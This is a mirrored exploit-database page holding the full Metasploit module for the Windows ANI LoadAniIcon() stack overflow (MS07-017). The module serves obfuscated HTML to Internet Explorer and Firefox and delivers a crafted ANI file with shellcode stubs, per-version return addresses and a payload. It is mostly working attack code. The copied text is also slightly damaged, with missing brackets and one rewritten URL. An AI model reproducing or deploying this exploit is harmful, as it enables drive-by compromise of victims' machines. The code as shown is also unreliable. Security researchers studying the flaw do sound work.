发布 2010-08-12 漏洞条目

Microsoft Windows – ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP) (MS07-017) (Metasploit)

Exploit Source

# $Id: ms07_017_ani_loadimage_chunksize.rb 9984 2010-08-12 16:56:41Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

# This module acts as an HTTP server

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::RIFF

def initialize(info = {})

super(update_info(info,

'Name' => 'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)',

'Description' => %q{

This module exploits a buffer overflow vulnerability in the

LoadAniIcon() function in USER32.dll. The flaw can be triggered through

Internet Explorer 6 and 7 by using the CURSOR style sheet directive

to load a malicious .ANI file. The module can also exploit Mozilla

Firefox by using a UNC path in a moz-icon URL and serving the .ANI file

over WebDAV. The vulnerable code in USER32.dll will catch any

exceptions that occur while the invalid cursor is loaded, causing the

exploit to silently fail when the wrong target has been chosen.

This vulnerability was discovered by Alexander Sotirov of Determina

and was rediscovered, in the wild, by McAfee.

'Author' =>

[

'hdm', # First version

'skape', # Vista support

# Firefox support, OS language independence, improved reliability

'Solar Eclipse <solareclipse@phreedom.org>'

'License' => MSF_LICENSE,

'Version' => '$Revision: 9984 $',

'References' =>

[

['CVE', '2007-0038'],

['OSVDB', '33629'],

['BID', '23194'],

['MSB', 'MS07-017'],

['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'],

['URL', 'http://www.determina.com/security.research/vulnerabilities/ani-header.html'],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload' =>

{

'Space' => 1024 + (rand(1000)),

'Compat' =>

{

'ConnectionType' => '-find',

}

'Platform' => 'win',

# Automatic target tested on:

# Windows NT SP6 + IE6 SP1

# Windows 2000 SP4 + IE6 SP1

# Windows 2000 SP4 UR1 + IE6 SP1

# Windows XP SP0

# Windows XP SP1

# Windows XP SP2

# Windows XP SP2 + IE7

# Windows 2003 SP0

# Windows 2003 SP1

# Windows 2003 SP1 + IE7

# Windows Vista

# Windows XP SP0 + Firebird 0.7

# Windows XP SP0 + Firefox 1.0

# Windows XP SP0 + Firefox 1.5

# Windows XP SP2 + Firefox 2.0

# Windows 2003 SP1 + Firefox 2.0

# Windows Vista + Firefox 2.0

'Targets' =>

[

[ '(Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista',

{

'Method' => 'automatic'

}

[ 'IE6 on Windows NT, 2000, XP, 2003 (all languages)',

{

'Method' => 'jmpesp',

'Ret1' => 0x0040afff, # jmp esp on NT, 2000, XP, 2003 SP0 (iexplore.exe)

'Ret2' => 0x004090df # jmp esp on 2003 SP1, SP2 (iexplore.exe)

}

[ 'IE7 on Windows XP SP2, 2003 SP1, SP2 (all languages)',

{

'Method' => 'jmpesp',

'Ret1' => 0x00420B45, # jmp esp on XP SP2 (iexplore.exe)

'Ret2' => 0x00420B45 # jmp esp on 2003 SP1, SP2 (iexplore.exe)

}

[ 'IE7 and Firefox on Windows Vista (all languages)',

{

'Method' => 'partial',

'Ret' => 0x700B # we change user32.dll+5879 to user32.dll+700B (jmp [ebx] in user32.dll)

}

[ 'Firefox on Windows XP (English)',

{

'Method' => 'jmpesp',

'Ret1' => 0x77059E48, # jmp esp on XP (comres.dll)

'Ret2' => 0x77019668 # jmp esp on 2003 SP1, SP2 (comres.dll)

}

[ 'Firefox on Windows 2003 (English)',

{

'Method' => 'jmpesp',

'Ret1' => 0x77019668, # jmp esp on 2003 SP0 (comres.dll)

'Ret2' => 0x77019668 # jmp esp on 2003 SP1, SP2 (comres.dll)

}

'DisclosureDate' => 'Mar 28 2007',

'DefaultTarget' => 0))

register_options(

[

OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),

OptString.new('URIPATH', [ true, "The URI to use.", "/" ])

], self.class)

end

# Handle HTTP requests

def on_request_uri(cli, request)

# Automatic browser and OS detection

print_status("Attempting to exploit ani_loadimage_chunksize")

browser = ''

if target['Method'] == 'automatic'

agent = request.headers['User-Agent']

# Check for Firefox requests

if agent =~ /(Gecko|Microsoft-WebDAV-MiniRedir)/

browser = 'Mozilla'

# WebDAV requires that we use port 80 and the URIPATH is '/'

if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'

print_status("Mozilla request received from #{cli.peerhost}. To exploit Mozilla browsers, SRVPORT must be set to 80 and URIPATH must be '/'")

cli.send_response(create_response(404, "File not found"))

return

end

if agent =~ /(Windows NT 6\.0|MiniRedir\/6\.0)/

target = targets[3] # Firefox on Vista

elsif agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/

target = targets[4] # Firefox on XP

elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/

target = targets[5] # Firefox on 2003

else

print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")

return

end

# Check for MSIE requests

elsif agent =~ /MSIE/

browser = 'IE'

if agent =~ /Windows NT 6\.0/

target = targets[3] # IE7 on Vista

elsif agent =~ /MSIE 7\.0/

target = targets[2] # IE7 on XP and 2003

elsif agent =~ /MSIE 6\.0/

target = targets[1] # IE6 on NT, 2000, XP and 2003

else

print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")

return

end

# Unknown user agent

else

print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")

return

end

# Find out if this is a request for an ANI file

# Mozilla always uses a .ani extension, but IE randomly picks one of the

# other extensions for the ANI request

exts = ['bmp', 'wav', 'png', 'zip', 'tar', 'ani']

ani_request = false

match = /\.(...)$/.match(request.uri)

if match and exts.include?(match[1])

ani_request = true

end

# OPTIONS and PROPFIND requests sent by the WebDav Mini-Redirector

if request.method == 'OPTIONS'

print_status("Received WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")

headers = {

'DASL' => '<DAV:sql>',

'DAV' => '1, 2',

'Public' => 'OPTIONS, GET, PROPFIND',

'Allow' => 'OPTIONS, GET, PROPFIND'

}

send_response(cli, '', headers)

return

end

if request.method == 'PROPFIND'

print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport}")

body = ''

if (not ani_request)

# Response for directories

body = '<?xml version="1.0"?><a:multistatus xmlns:a="DAV:"><a:response><a:propstat><a:prop><a:resourcetype><a:collection/></a:resourcetype></a:prop></a:propstat></a:response></a:multistatus>'

else

# Response for files

body = '<?xml version="1.0"?><a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:"><a:response></a:response></a:multistatus>'

end

send_response(cli, body, {'Content-Type' => 'text/xml'})

return

end

# HTML requests sent by IE and Firefox

if (not ani_request)

# Pick a random extension to use when we generate HTML. The moz-icon URL

# must have a .ani extension, but we can use a random one for IE

exts.delete('ani')

ext = exts[rand(exts.length)]

# Generate the HTML

html =

"<html>" +

"<head><title>" + random_padding + "</title></head>" +

"<body>" +

random_padding +

(browser == 'IE' ? generate_ie_html(ext) : generate_mozilla_html) +

random_padding +

"</body>" +

"</html>"

print_status("Sending HTML page to #{cli.peerhost}:#{cli.peerport}...")

send_response(cli, html)

return

end

# ANI requests sent by IE and the WebDav Mini-Redirector

# Re-generate the payload

return if ((p = regenerate_payload(cli)) == nil)

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the compressed response to the client

send_response(cli, generate_ani(p, target), { 'Content-Type' => 'application/octet-stream' })

end

# Generate a <div> element with a style attribute referencing the ANI file

def generate_ie_html(ext)

path = get_resource.sub(/\/$/, '')

"<div style='" +

random_css_padding +

Rex::Text.to_rand_case("cursor") +

random_css_padding +

":" +

random_css_padding +

Rex::Text.to_rand_case("url(") +

random_css_padding +

'"' +

path + '/' + rand_text_alphanumeric(rand(80)+16) + '.' + ext +

'"' +

random_css_padding +

");" +

random_css_padding +

"'>" +

random_padding +

"</div>"

end

# Generate a img tag with a moz-icon URL referencing the ANI file

def generate_mozilla_html

path = get_resource.gsub(/\/$/, '')

# The UNC path of the ANI file must have at least one directory level,

# otherwise the WebDAV redirector will not work

if path == ''

path = '/' + rand_text_alphanumeric(rand(80)+16)

end

return '<img src="https://www.exploit-db.com/exploits/16526/moz-icon:file://///' +

datastore['SRVHOST'] +

path + '/' + rand_text_alphanumeric(rand(80)+16) + '.ani">'

end

# Generate CSS padding

def random_css_padding

buf =

random_whitespace +

"/*" +

random_whitespace +

random_padding +

random_whitespace +

"*/" +

random_whitespace

end

# Generate random whitespace

def random_whitespace

len = rand(100)+2

set = "\x09\x20\x0d\x0a"

buf = ''

while (buf.length < len)

buf << set[rand(set.length)].chr

end

buf

end

# Generate random padding

def random_padding

rand_text_alphanumeric(rand(128)+4)

end

# Generate an ANI file that will trigger the vulnerability

def generate_ani(payload, target)

# Valid ANI header

header = [

36, # cbSizeOf (must be 36)

rand(128)+16, # cFrames (must be > 1 and < 0x10000)

rand(1024)+1, # cSteps (must be < 0x10000)

0, 0, # cx, cy

0, # cBitCount

0, # cPlanes

0, # JifRate

1 # Flags (must have the LSB bit set)

].pack('V9')

overflow = ''

if target['Method'] == 'jmpesp'

# ANI header that triggers the overflow:

overflow =

# 36 bytes of fake header

# When we get control, the ebx and esi registers have the following values:

# 2000, XP, 2003 before MS05-002

# ebx = 0, esi = pointer to MappedFile struct

# NT before MS05-002

# ebx = pointer to dword 1, esi = pointer to MappedFile struct

# all versions after MS05-002, including XP SP2 and 2003 SP1

# ebx = pointer to MappedFile struct

# The first field in MappedFile is a pointer to the ANI file

"\x85\xDB" + # test ebx,ebx

"\x74\x0A" + # jz jmp_esi 2000, XP, 2003 before MS05-002

"\x81\x3B\x01\x00\x00\x00" + # cmp dword [ebx], 0x1

"\x74\x02" + # jz jmp_esi NT before MS05-002

"\x89\xDE" + # mov esi, ebx all versions after MS05-002

# jmp_esi:

"\x8B\x36" + # mov esi,[esi] pointer to ANI file

"\x81\x3E\x52\x49\x46\x46" + # cmp [esi], 'RIFF'

"\x75\x02" + # jnz failed

"\xFF\xE6" + # jmp esi

# failed:

"\x31\xc0" + # xor eax, eax

"\x8b\x00" + # mov eax, [0] exit via SEH

rand_text(2) +

"\x00\x00\x00\x00" + # header flags (LSB bit must be set to 0)

# end of header

rand_text(4*6) + # local variables

# The following local variables must be NULL to avoid calls to

# HeapFree and NtUserDestroyCursor

# 2000, XP, 2003 SP0 2003 SP1

"\x00\x00\x00\x00" + # var_10

"\x00\x00\x00\x00" + # var_C

"\x00\x00\x00\x00" + # var_8

"\x00\x00\x00\x00" + # var_4

[

target['Ret1'], # return address for NT, 2000, XP and 2003 SP0

target['Ret2'] # return address for 2003 SP1

].pack('VV') +

rand_text(4*4) + # function arguments

"\x90\x90\x90\x90" + # jmp esp on NT, 2000, XP and 2003 SP0 lands

# here, 2003 SP1 lands on the next dword

"\xeb\x92" # jump back to the shellcode in the ANI header

elsif target['Method'] == 'partial'

# ANI header that triggers the overflow:

overflow =

# 36 bytes of fake header

rand_text(32) +

"\x00\x00\x00\x00" + # header flags (LSB bit must be set to 0)

# end of header

rand_text(4*8) + # local variables

# The following local variables must be NULL to avoid calls to

# HeapFree and NtUserDestroyCursor on Vista

"\x00\x00\x00\x00" + # var_C

"\x00\x00\x00\x00" + # var_8

"\x00\x00\x00\x00" + # var_4

rand_text(4) + # saved ebp

[

target['Ret'], # 2 byte partial overwrite of the return address

].pack('v')

else

raise "Unknown target #{targetr['Method']}"

end

# Build the ANI file

# The shellcode execution begins at the RIFF signature:

# 'R' 52 push edx

# 'I' 49 dec ecx

# 'F' 46 inc esi

# eb 3a jmp +3a # jmp to the code in the payload chunk

ani =

"RIFF" + "\xeb\x3a\x00\x00" +

"ACON" +

riff_chunk("anih", header) +

# payload chunk

riff_chunk(random_riff_tag,

Rex::Arch::X86.copy_to_stack(payload.encoded.length) +

payload.encoded) +

random_riff_chunks +

# the second anih chunk trigger the overflow

riff_chunk("anih", overflow) +

random_riff_chunks

return ani

end

作者: Metasploit
日期: 2010-08-12
类别: remote
平台: windows

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